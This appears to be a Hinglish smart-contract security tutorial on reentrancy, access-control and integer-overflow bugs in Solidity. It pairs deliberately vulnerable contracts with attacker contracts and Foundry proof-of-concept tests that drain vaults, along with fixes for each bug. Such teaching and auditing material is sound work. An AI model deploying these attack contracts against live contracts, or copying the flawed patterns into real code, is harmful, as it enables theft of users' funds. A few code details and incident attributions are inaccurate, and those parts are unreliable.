Classic Vulnerabilities Part 1: Reentrancy, Access Control & Integer Bugs

History:
The DAO Hack — 2016
$60 million stolen
Ethereum hard fork ka reason!

Concept:
Contract A → Call → Contract B
Contract B → Re-enter → Contract A
              (before A finishes!)
A ki state incomplete! = Bug!

Real analogy:
ATM se paise nikal rahe ho
ATM balance check karta hai (100₹)
Amount deta hai
LEKIN balance 0 nahi kiya abhi!
Tum phir se nikal sakte ho!
ATM ka balance update alag waqt!
= Reentrancy!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ─── VULNERABLE CONTRACT ──────────────────

contract VulnerableETHVault {

    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // ⚠️ CLASSIC REENTRANCY!
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        // Step 1: External call (DANGEROUS!)
        (bool ok,) = msg.sender.call{
            value: amount
        }("");
        require(ok, "Transfer failed");

        // Step 2: State update (TOO LATE!)
        balances[msg.sender] = 0;
        // 🚨 Attacker re-enters BEFORE this line!
        // balances[attacker] still = original amount!
        // Withdraw again and again!
    }
}

// ─── ATTACKER CONTRACT ────────────────────

contract ReentrancyAttacker {

    VulnerableETHVault target;
    uint256 attackAmount;

    constructor(address _target) {
        target = VulnerableETHVault(_target);
    }

    function attack() external payable {
        attackAmount = msg.value;

        // Initial deposit:
        target.deposit{value: attackAmount}();

        // Start attack:
        target.withdraw();
    }

    // Called EVERY TIME vault sends ETH!
    receive() external payable {
        // Re-enter if vault still has funds:
        if (address(target).balance >= attackAmount) {
            target.withdraw();
            // ↑ balances[attacker] still = attackAmount!
            // Vault sends again!
        }
    }

    function getBalance()
        external view returns (uint256)
    {
        return address(this).balance;
    }
}

// ─── FOUNDRY POC ──────────────────────────

contract ReentrancyTest is Test {

    VulnerableETHVault vault;
    ReentrancyAttacker attacker;

    address alice   = makeAddr("alice");
    address hacker  = makeAddr("hacker");

    function setUp() public {
        vault    = new VulnerableETHVault();
        attacker = new ReentrancyAttacker(
            address(vault)
        );

        // Alice deposits legitimate funds:
        vm.deal(alice, 10 ether);
        vm.prank(alice);
        vault.deposit{value: 10 ether}();

        // Hacker has 1 ETH:
        vm.deal(hacker, 1 ether);
    }

    function test_reentrancyAttack() public {
        uint256 vaultBefore =
            address(vault).balance;

        console.log("Vault before:", vaultBefore / 1e18);
        console.log("Attacker before:",
            address(attacker).balance / 1e18);

        // Execute attack:
        vm.prank(hacker);
        attacker.attack{value: 1 ether}();

        uint256 vaultAfter =
            address(vault).balance;

        console.log("Vault after:", vaultAfter / 1e18);
        console.log("Attacker after:",
            address(attacker).balance / 1e18);

        // Attacker drained vault!
        assertEq(vaultAfter, 0);
        assertGt(
            address(attacker).balance,
            1 ether
        );
    }
}

// Sirf ek function nahi —
// Different functions ke beech reentrancy!

contract CrossFunctionVault {

    mapping(address => uint256) public balances;
    mapping(address => bool)    public locked;

    // Function A: withdraw
    function withdraw(uint256 amount) external {
        require(
            balances[msg.sender] >= amount
        );
        // External call:
        (bool ok,) = msg.sender.call{
            value: amount
        }("");
        require(ok);
        balances[msg.sender] -= amount;
        // ⚠️ State not updated yet!
    }

    // Function B: transfer
    // ⚠️ Can be called during withdraw!
    function transfer(
        address to,
        uint256 amount
    ) external {
        require(
            balances[msg.sender] >= amount
        );
        // balances[msg.sender] STILL HAS
        // original value (withdraw not done!)
        balances[msg.sender] -= amount;
        balances[to]         += amount;
    }
}

// Attack:
// 1. Attacker deposits 10 ETH
// 2. Calls withdraw(10 ETH)
// 3. During receive():
//    Calls transfer(accomplice, 10 ETH)
//    balances[attacker] still = 10 ETH!
//    Transfer succeeds!
// 4. withdraw() finishes:
//    balances[attacker] = 0 (too late!)
// 5. But accomplice has 10 ETH in balance!
//    AND attacker received 10 ETH!
// Net: 20 ETH stolen from 10 ETH deposit!

// ✅ Fix: nonReentrant on BOTH functions!
// OR: Update state before ANY external call!

// Most subtle! View functions reenter!
// No state change in reentered call
// BUT read stale state!

// Uniswap V3 style example:

contract Pool {
    uint256 public reserve0;
    uint256 public reserve1;
    bool    private _locked;

    modifier lock() {
        require(!_locked, "Locked");
        _locked = true;
        _;
        _locked = false;
    }

    // ⚠️ lock() only on state-changing functions!
    // View functions NOT locked!
    function getReserves()
        external view
        returns (uint256, uint256)
    {
        return (reserve0, reserve1);
    }

    function removeLiquidity(
        uint256 amount
    ) external lock {
        // Send ETH first:
        (bool ok,) = msg.sender.call{
            value: amount
        }("");
        require(ok);

        // Update AFTER:
        reserve0 -= amount;
        // ↑ Not updated during callback!
    }
}

// External Protocol using this pool:
contract VulnerableProtocol {

    Pool pool;

    function getPrice()
        external view returns (uint256)
    {
        // Reads pool state:
        (uint256 r0, uint256 r1) =
            pool.getReserves();
        return r1 * 1e18 / r0;
        // ↑ Returns STALE price during reentrancy!
    }

    function borrow(uint256 amount) external {
        uint256 price = this.getPrice();
        // Price is stale = Inflated!
        // Attacker borrows at wrong price!
    }
}

// Attack via Curve/Balancer style:
// 1. Attacker calls removeLiquidity
// 2. During ETH receive callback:
//    Calls external protocol's borrow()
//    getPrice() reads stale reserves!
//    (reserve0 not decremented yet!)
//    Inflated price = Borrow more!
// 3. removeLiquidity finishes
// Real example: Curve reentrancy → Multiple protocols!

// ERC-777 tokens have hooks!
// tokensReceived() called on transfer!
// = Reentrancy vector!

interface IERC777Recipient {
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external;
}

contract VulnerableERC777Vault {

    mapping(address => uint256) public balances;
    IERC777 token;

    function deposit(uint256 amount) external {
        token.transferFrom(
            msg.sender,
            address(this),
            amount
        );
        // ↑ tokensReceived() hook fires!
        // But state update is AFTER transfer!

        balances[msg.sender] += amount;
        // ⚠️ Can be reentered before this!
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;

        // ERC-777 send triggers hook!
        token.send(msg.sender, amount, "");
        // ↑ tokensReceived() on recipient!
        // If recipient is contract with hook
        // Can reenter withdraw()!
        // Lekin: state already updated (CEI ✅)
        // So this specific pattern is safe!
    }
}

// Imbtoch Real Example: Uniswap + ERC-777
// 1. Attacker has ERC-777 token
// 2. Provide liquidity
// 3. Remove liquidity triggers token.send()
// 4. tokensReceived() fires
// 5. Re-enter addLiquidity()
// 6. State inconsistent!

// Multiple contracts share state!
// Reenter different contract!

contract VaultA {
    mapping(address => uint256) public shares;
    VaultB public vaultB;

    function withdraw() external {
        uint256 amount = shares[msg.sender];
        require(amount > 0);

        // External call to B:
        vaultB.notifyWithdraw(msg.sender, amount);
        // ⚠️ B might reenter A before state update!

        shares[msg.sender] = 0;
    }
}

contract VaultB {
    VaultA public vaultA;

    function notifyWithdraw(
        address user,
        uint256 amount
    ) external {
        require(msg.sender == address(vaultA));

        // ⚠️ Call back to A!
        vaultA.withdraw(); // Re-enters!
        // A's state not updated!
    }
}

// Fix: Global reentrancy guard across contracts!
// OR: Shared storage for lock status!

// ✅ Fix 1: CEI Pattern (Checks-Effects-Interactions)
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0);

    // EFFECTS FIRST:
    balances[msg.sender] = 0;  // ← Update state!

    // INTERACTIONS LAST:
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok);
    // Now even if reentered: balance = 0!
}

// ✅ Fix 2: ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeVault is ReentrancyGuard {
    function withdraw()
        external nonReentrant
    {
        // nonReentrant = mutex lock!
        // Re-entry → "ReentrancyGuard: reentrant call"
    }
}

// ✅ Fix 3: Pull over Push
// Don't send ETH in withdraw!
// Record pending amount, user pulls!

mapping(address => uint256) pendingWithdrawals;

function initiateWithdraw() external {
    pendingWithdrawals[msg.sender] =
        balances[msg.sender];
    balances[msg.sender] = 0;
}

function claimWithdrawal() external {
    uint256 amount = pendingWithdrawals[msg.sender];
    require(amount > 0);
    pendingWithdrawals[msg.sender] = 0;
    payable(msg.sender).transfer(amount);
}

Access Control kya hai?
"Sirf authorized users specific actions kar saken"

Broken Access Control =
#1 Web3 vulnerability category!

contract MissingAC {

    address public owner;
    uint256 public fee;

    constructor() {
        owner = msg.sender;
    }

    // ⚠️ NO ACCESS CONTROL AT ALL!
    function setFee(uint256 newFee) external {
        fee = newFee;
        // 🚨 Anyone can call!
        // Attacker: setFee(0) → Free transactions!
        // OR: setFee(9999) → DoS!
    }

    // ⚠️ Critical function — no guard!
    function drainFunds(
        address to
    ) external {
        payable(to).transfer(
            address(this).balance
        );
        // 🚨 Anyone can drain!
    }

    // ✅ Fix:
    function setFeeSafe(
        uint256 newFee
    ) external {
        require(
            msg.sender == owner,
            "Not owner!"
        );
        fee = newFee;
    }
}

contract TxOriginBug {

    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // ⚠️ tx.origin = DANGEROUS!
    modifier onlyOwner() {
        require(
            tx.origin == owner,
            "Not owner"
        );
        _;
    }

    function transfer(
        address to,
        uint256 amount
    ) external onlyOwner {
        payable(to).transfer(amount);
    }
}

// Attack (Phishing):
contract PhishingContract {

    TxOriginBug target;

    // Owner visits malicious site!
    // Calls "innocent" looking function:
    function innocentLookingFunction()
        external
    {
        // tx.origin = Owner (who called this!)
        // msg.sender = PhishingContract

        // target checks tx.origin == owner → TRUE!
        target.transfer(
            address(this),
            address(target).balance
        );
        // Owner's funds stolen! 🚨
    }
}

// ✅ Fix: ALWAYS use msg.sender!
modifier onlyOwnerSafe() {
    require(
        msg.sender == owner,
        "Not owner"
    );
    _;
}

// Proxy pattern mein common!

contract UninitializedProxy {

    address public owner;
    bool    public initialized;

    // ⚠️ No protection — call multiple times!
    function initialize(
        address _owner
    ) external {
        owner = _owner;
        // 🚨 Anyone can reinitialize!
        // Override existing owner!
    }

    // ✅ Fix 1: initializer modifier
    modifier initializer() {
        require(
            !initialized,
            "Already initialized!"
        );
        initialized = true;
        _;
    }

    function initializeSafe(
        address _owner
    ) external initializer {
        owner = _owner;
    }

    // ✅ Fix 2: OpenZeppelin Initializable
    // import "@openzeppelin/.../Initializable.sol"
    // function initialize() external initializer {}
}

contract ModifierBug {

    address public owner;
    bool    public paused;

    // ⚠️ Bug: Missing underscore placement!
    modifier onlyOwnerBug() {
        if (msg.sender == owner) {
            _;
            // Underscore inside if!
            // If NOT owner → silently continues!
            // No revert!
        }
        // ↑ Non-owner = Function runs AND returns!
        // Function body SKIPPED for non-owner
        // BUT: No error either!
        // Confusing behavior!
    }

    // ⚠️ Another bug: Wrong condition
    modifier notPausedBug() {
        require(paused, "Not paused!");
        // ↑ Should be: require(!paused)
        // This allows calls ONLY when paused!
        // Normal operation blocked!
        _;
    }

    // ✅ Correct modifier:
    modifier onlyOwner() {
        require(
            msg.sender == owner,
            "Not owner"
        );
        _;
        // ← Underscore OUTSIDE condition!
    }

    modifier whenNotPaused() {
        require(!paused, "Paused!");
        _;
    }
}

contract RoleEscalation {

    mapping(address => bytes32) public roles;

    bytes32 constant ADMIN  = keccak256("ADMIN");
    bytes32 constant MINTER = keccak256("MINTER");
    bytes32 constant USER   = keccak256("USER");

    // ⚠️ User can grant themselves admin!
    function grantRole(
        address account,
        bytes32 role
    ) external {
        // Missing: Check caller's role!
        roles[account] = role;
        // 🚨 Anyone can become admin!
    }

    // ✅ Fix: Caller must have higher role!
    function grantRoleSafe(
        address account,
        bytes32 role
    ) external {
        require(
            roles[msg.sender] == ADMIN,
            "Not admin!"
        );
        // Admin can only grant <= their level:
        require(
            role != ADMIN ||
            msg.sender == superAdmin,
            "Cannot grant admin!"
        );
        roles[account] = role;
    }
}

contract SignatureReplay {

    address public signer;

    // ⚠️ No nonce = Replay attack!
    function execute(
        address target,
        uint256 value,
        bytes calldata data,
        bytes calldata signature
    ) external {
        bytes32 hash = keccak256(abi.encodePacked(
            target, value, data
            // ⚠️ No nonce, no chainId!
        ));

        address recovered = recoverSigner(
            hash, signature
        );
        require(
            recovered == signer,
            "Invalid sig"
        );

        (bool ok,) = target.call{value: value}(data);
        require(ok);
        // 🚨 Same signature = Use multiple times!
    }

    // ✅ Fix: Nonce + ChainId!
    mapping(address => uint256) public nonces;

    function executeSafe(
        address target,
        uint256 value,
        bytes calldata data,
        uint256 nonce,
        bytes calldata signature
    ) external {
        require(
            nonces[msg.sender]++ == nonce,
            "Invalid nonce"
        );

        bytes32 hash = keccak256(abi.encodePacked(
            target,
            value,
            data,
            nonce,
            block.chainid,  // Chain specific!
            address(this)   // Contract specific!
        ));

        address recovered = recoverSigner(
            hash, signature
        );
        require(recovered == signer);

        (bool ok,) = target.call{value: value}(data);
        require(ok);
    }
}

// Centralization risk = Access control bug!

contract Overprivileged {

    address public owner;
    mapping(address => uint256) public balances;

    // ⚠️ Owner has TOO MUCH power!
    // Single point of failure!

    function drainUser(
        address user
    ) external {
        require(msg.sender == owner);
        // Owner can drain ANY user's funds!
        // Key compromise = Total loss! 🚨
        uint256 bal = balances[user];
        balances[user] = 0;
        payable(owner).transfer(bal);
    }

    function upgradeToMalicious(
        address newImpl
    ) external {
        require(msg.sender == owner);
        // Immediate upgrade! No timelock!
        _upgradeTo(newImpl);
        // 🚨 Rug pull vector!
    }

    // ✅ Fixes:
    // → Multisig (3/5 or 5/9)
    // → Timelock for upgrades
    // → Cannot drain user funds (invariant!)
    // → Role separation (upgrade != admin)
}

// Solidity default = public (old) or internal (new)
// Old code mein public functions unintentionally!

// Solidity < 0.5.0:
contract OldStyleBug {

    // ⚠️ No visibility = PUBLIC in old Solidity!
    function _internalHelper() {
        // Developer thought: private/internal
        // Reality: public!
        // 🚨 Anyone can call!
    }
}

// Modern Solidity (0.8+):
// Still possible with explicit public:

contract ExplicitBug {

    address owner;

    // ⚠️ Should be internal but marked public!
    function _validateUser(
        address user
    ) public view returns (bool) {
        return user == owner;
        // 🚨 Anyone can call and get info
        // Also: Can be called in context
        //        that's unexpected
    }

    // ✅ Correct:
    function _validateUserSafe(
        address user
    ) internal view returns (bool) {
        return user == owner;
    }
}

Overflow:
uint8 max = 255
255 + 1 = 0 (wraps around!)

Underflow:
uint256 min = 0
0 - 1 = 2^256 - 1 (wraps around!)

Solidity 0.8+ protection:
→ Auto revert on overflow/underflow!
→ LEKIN: unchecked{} blocks bypass!
→ Type casting bypass!
→ Logic bugs still possible!

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// ↑ 0.7! No auto-protection!

contract OverflowVulnerable {

    mapping(address => uint256) public balances;
    uint256 public totalSupply;

    // ⚠️ No SafeMath (pre-0.8)!
    function mint(
        address to,
        uint256 amount
    ) external {
        totalSupply += amount;
        // ↑ Overflow! totalSupply wraps to 0!

        balances[to] += amount;
    }

    // ⚠️ Underflow attack!
    function burn(
        address from,
        uint256 amount
    ) external {
        balances[from] -= amount;
        // ↑ If amount > balances[from]:
        // Underflow! balances[from] = HUGE NUMBER!
        totalSupply   -= amount;
    }
}

// ─── ATTACK ───────────────────────────────

contract OverflowAttacker {

    OverflowVulnerable target;

    function attack() external {
        // Attack 1: Underflow
        // balances[attacker] = 0
        // burn(attacker, 1)
        // 0 - 1 = 2^256 - 1! HUGE BALANCE!
        target.burn(address(this), 1);

        // Now attacker has max uint256 tokens!
        // Sell everything!
    }
}

// Solidity 0.8+ mein bhi!
// unchecked{} = No overflow protection!

pragma solidity ^0.8.19;

contract UncheckedBug {

    mapping(address => uint256) public balances;

    // Gas optimization ke liye unchecked use:
    function batchProcess(
        uint256[] calldata amounts
    ) external {
        uint256 total = 0;

        unchecked {
            // ⚠️ Gas save ke liye!
            // Lekin overflow possible!
            for (uint256 i = 0;
                 i < amounts.length;
                 i++)
            {
                total += amounts[i];
                // ↑ Overflow if amounts large!
                // total wraps around!
            }
        }

        require(total <= 1000, "Too much");
        // 🚨 total = 0 (overflow) → Passes!
        // But actual sum was 5000!

        // Attacker: Send amounts that overflow
        // to bypass the 1000 limit!
    }

    // ─── Legitimate unchecked use ─────────
    // (When overflow impossible by logic)

    function safeIncrement(
        uint256 i,
        uint256 length
    ) internal pure returns (uint256) {
        unchecked {
            return i + 1;
            // ↑ OK! i < length always!
            // length = array.length
            // Max uint256 array impossible!
        }
    }
}

contract CastingBug {

    // ⚠️ Unsafe downcast!
    function unsafeCast(
        uint256 bigNumber
    ) external pure returns (uint128) {
        return uint128(bigNumber);
        // ↑ Truncates! High bits dropped!
        // bigNumber = 2^128 + 1
        // uint128(2^128 + 1) = 1!
        // 🚨 Silently truncates!
    }

    // ⚠️ int256 to uint256
    function signedToUnsigned(
        int256 value
    ) external pure returns (uint256) {
        return uint256(value);
        // value = -1
        // uint256(-1) = 2^256 - 1! HUGE!
        // 🚨 Negative → Max positive!
    }

    // ─── Real Bug Pattern ─────────────────

    mapping(address => uint256) balances;

    function deposit(int256 amount) external {
        // ⚠️ No negative check!
        require(amount > 0, "Positive only");
        // Actually OK here...

        // BUT in library/helper:
        balances[msg.sender] +=
            uint256(amount);
        // If amount validation missing:
        // deposit(-1) → uint256(-1) = HUGE!
    }

    // ✅ Safe cast:
    function safeCast(
        uint256 value
    ) internal pure returns (uint128) {
        require(
            value <= type(uint128).max,
            "Overflow!"
        );
        return uint128(value);
    }
}

contract PrecisionBug {

    uint256 constant PRECISION = 1e18;

    // ⚠️ Divide before multiply = Precision loss!
    function calculateRewardBug(
        uint256 amount,
        uint256 rate,   // e.g., 500 = 5%
        uint256 duration
    ) external pure returns (uint256) {

        return amount / 10000 * rate * duration;
        //     ↑ Division FIRST!
        //     amount = 999
        //     999 / 10000 = 0 (integer division!)
        //     0 * rate * duration = 0!
        //     🚨 No rewards for small amounts!
    }

    // ✅ Multiply FIRST, divide LAST!
    function calculateRewardSafe(
        uint256 amount,
        uint256 rate,
        uint256 duration
    ) external pure returns (uint256) {
        return amount * rate * duration / 10000;
        //     ↑ Multiply first!
        //     999 * 500 * 30 = 14,985,000
        //     14,985,000 / 10000 = 1498!
        //     Correct! ✅
    }

    // ─── Rounding Direction Bug ───────────

    // Protocol should round in OWN favor!
    // Not user's favor!

    // User withdraws:
    function calculateWithdrawBug(
        uint256 shares,
        uint256 totalShares,
        uint256 totalAssets
    ) external pure returns (uint256) {
        return shares * totalAssets / totalShares;
        // Rounds DOWN (default in Solidity)
        // User gets LESS → Protocol keeps extra ✅
        // Actually this is CORRECT!
    }

    // User deposits (shares calculation):
    function calculateDepositBug(
        uint256 assets,
        uint256 totalShares,
        uint256 totalAssets
    ) external pure returns (uint256 shares) {
        shares = assets * totalShares / totalAssets;
        // ↑ Rounds DOWN
        // User gets LESS shares → Protocol keeps ✅
        // Correct direction!

        // ⚠️ WRONG: Round UP for deposit shares:
        // shares = (assets * totalShares + totalAssets - 1)
        //          / totalAssets;
        // User gets MORE shares than entitled
        // Slowly drains protocol! 🚨
    }
}

// test/ClassicVulns.t.sol
// Complete test suite for all vulnerabilities

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

contract ClassicVulnTests is Test {

    // ─── Setup ────────────────────────────

    VulnerableETHVault     vault;
    CrossFunctionVault     cfVault;
    MissingAC              missingAC;
    TxOriginBug            txOriginBug;
    UncheckedBug           uncheckedBug;
    PrecisionBug           precisionBug;

    address alice  = makeAddr("alice");
    address bob    = makeAddr("bob");
    address hacker = makeAddr("hacker");

    function setUp() public {
        vault        = new VulnerableETHVault();
        cfVault      = new CrossFunctionVault();
        missingAC    = new MissingAC();
        txOriginBug  = new TxOriginBug();
        uncheckedBug = new UncheckedBug();
        precisionBug = new PrecisionBug();
    }

    // ─── Test 1: Reentrancy ───────────────

    function test_reentrancyDrainsVault()
        public
    {
        // Alice deposits 10 ETH:
        vm.deal(alice, 10 ether);
        vm.prank(alice);
        vault.deposit{value: 10 ether}();

        // Hacker has 1 ETH:
        vm.deal(hacker, 1 ether);

        // Deploy attacker:
        ReentrancyAttacker attacker =
            new ReentrancyAttacker(
                address(vault)
            );

        vm.prank(hacker);
        attacker.attack{value: 1 ether}();

        // Vault drained:
        assertEq(address(vault).balance, 0);
        // Attacker has 11 ETH (10 stolen + 1 own):
        assertGt(
            address(attacker).balance,
            10 ether
        );
        console.log("Vault drained! Attacker has:",
            address(attacker).balance / 1e18, "ETH");
    }

    // ─── Test 2: Missing Access Control ───

    function test_anyoneCanDrain() public {
        // Fund the contract:
        vm.deal(address(missingAC), 10 ether);

        uint256 hackerBefore = hacker.balance;

        // Hacker drains without any permission:
        vm.prank(hacker);
        missingAC.drainFunds(hacker);

        assertEq(
            hacker.balance,
            hackerBefore + 10 ether
        );
        console.log("Missing AC: Drained 10 ETH!");
    }

    // ─── Test 3: tx.origin ────────────────

    function test_txOriginPhishing() public {
        address owner = makeAddr("owner");

        // Setup: owner deploys contract
        vm.prank(owner);
        TxOriginBug vulnerable = new TxOriginBug();
        vm.deal(address(vulnerable), 5 ether);

        // Deploy phishing contract:
        PhishingContract phisher =
            new PhishingContract(
                address(vulnerable)
            );

        // Owner visits malicious site
        // (calls phishing contract):
        vm.prank(owner);
        phisher.innocentLookingFunction();

        // Owner's funds drained!
        assertEq(address(vulnerable).balance, 0);
        console.log("tx.origin phished! Funds stolen!");
    }

    // ─── Test 4: Unchecked Overflow ───────

    function test_uncheckedOverflow() public {
        uint256[] memory amounts =
            new uint256[](2);

        // Two amounts that overflow to small number:
        amounts[0] = type(uint256).max;
        amounts[1] = 1;
        // Sum = type(uint256).max + 1 = 0 (overflow!)

        // Should fail (total > 1000)
        // But passes because overflow makes total = 0!
        uncheckedBug.batchProcess(amounts);

        console.log("Unchecked overflow bypassed limit!");
    }

    // ─── Test 5: Precision Loss ───────────

    function test_precisionLoss() public {
        // Small amount → Zero rewards!
        uint256 reward = precisionBug
            .calculateRewardBug(
                999,    // amount
                500,    // 5% rate
                30      // 30 days
            );

        assertEq(reward, 0);
        // 🚨 Zero rewards for 999 tokens!

        // Correct calculation:
        uint256 correctReward = precisionBug
            .calculateRewardSafe(
                999, 500, 30
            );

        assertGt(correctReward, 0);
        console.log("Bug reward:", reward);
        console.log("Correct reward:", correctReward);
    }
}

Reentrancy Types:
┌──────────────────────┬──────────┬────────────────────┐
│ Type                 │ Severity │ Real Example       │
├──────────────────────┼──────────┼────────────────────┤
│ ETH Reentrancy       │ Critical │ The DAO ($60M)      │
│ Cross-Function       │ Critical │ Cream ($130M)       │
│ Read-Only            │ High     │ Curve (Multiple)    │
│ ERC-777              │ High     │ Uniswap             │
│ Cross-Contract       │ Critical │ Various             │
└──────────────────────┴──────────┴────────────────────┘

Access Control Bugs:
┌──────────────────────┬──────────┬────────────────────┐
│ Type                 │ Severity │ Example            │
├──────────────────────┼──────────┼────────────────────┤
│ Missing modifier     │ Critical │ Parity Wallet       │
│ tx.origin            │ High     │ Multiple            │
│ Uninitialized proxy  │ Critical │ Poly Network        │
│ Wrong modifier logic │ High     │ Various             │
│ Role escalation      │ Critical │ Various             │
│ Signature replay     │ High     │ Multiple bridges    │
│ Overprivileged       │ Medium   │ Rug pulls           │
└──────────────────────┴──────────┴────────────────────┘

Integer Bugs:
┌──────────────────────┬──────────┬────────────────────┐
│ Type                 │ Severity │ Example            │
├──────────────────────┼──────────┼────────────────────┤
│ Overflow (pre-0.8)   │ Critical │ BatchOverflow       │
│ Underflow (pre-0.8)  │ Critical │ Various tokens      │
│ Unchecked block      │ High     │ Modern contracts    │
│ Type casting         │ High     │ Various             │
│ Divide before mul    │ Medium   │ Yield protocols     │
│ Rounding direction   │ Medium   │ Vault protocols     │
└──────────────────────┴──────────┴────────────────────┘

🔄 Reentrancy Types:
   ETH      → CEI violation + ETH callback
   Cross-fn → Different function reenter
   Read-only → View function stale state
   ERC-777  → Token hooks (tokensReceived)
   Cross-ctr → Multiple contract state share

   Fixes:
   → CEI pattern (State BEFORE external call)
   → nonReentrant modifier
   → Pull over push pattern

🔐 Access Control Bugs:
   Missing modifier   → Anyone calls
   tx.origin          → Phishing attack
   Uninitialized      → Proxy takeover
   Wrong modifier     → Logic bypass
   Role escalation    → Privilege gain
   Signature replay   → Reuse valid sig
   Overprivileged     → Rug pull risk

   Fixes:
   → msg.sender (never tx.origin!)
   → OpenZeppelin AccessControl
   → Initializer guards
   → Nonces for signatures
   → Multisig + Timelock

🔢 Integer Bugs:
   Overflow → Wraps to 0 (pre-0.8)
   Underflow → Wraps to max (pre-0.8)
   Unchecked{} → Still dangerous in 0.8!
   Type cast → Truncation silently
   Division → Precision loss

   Fixes:
   → Use Solidity 0.8+
   → Avoid unchecked unless proven safe
   → Explicit safe casting
   → Multiply before divide
   → Round in protocol's favor

Ek observation jo mere liye eye-opening tha:

The DAO hack = 2016
$60 million
Ethereum hard fork

Reentrancy = "Solved" problem?

2020: Lendf.me = $25M (reentrancy)
2021: Cream Finance = $130M (reentrancy)
2022: Fei Protocol = $80M (reentrancy)
2023: Euler = $197M (access control)
2024: Multiple protocols = $50M+ (reentrancy)

8 SAAL BAAD BHI same bugs!

Kyun?

1. Developer ne suna tha reentrancy ke baare mein
   Lekin pressure mein ship kiya
   "Hamare paas nonReentrant add karne ka
   waqt nahi" — Real conversation!

2. "We use OpenZeppelin, we're safe!"
   OZ import kiya,
   lekin nonReentrant nahi lagaya
   → Still vulnerable!

3. "We got audited!"
   Audit = Point in time snapshot
   Code change ke baad audit = Stale

Moral:
Yeh vulnerabilities boring lagti hain
"Basic" lagti hain

Lekin audit reports mein:
#1 finding = Access Control
#2 finding = Reentrancy

Boring bugs = Most money!

Inhe boring mat samjho —
Inhe paisa samjho! 💰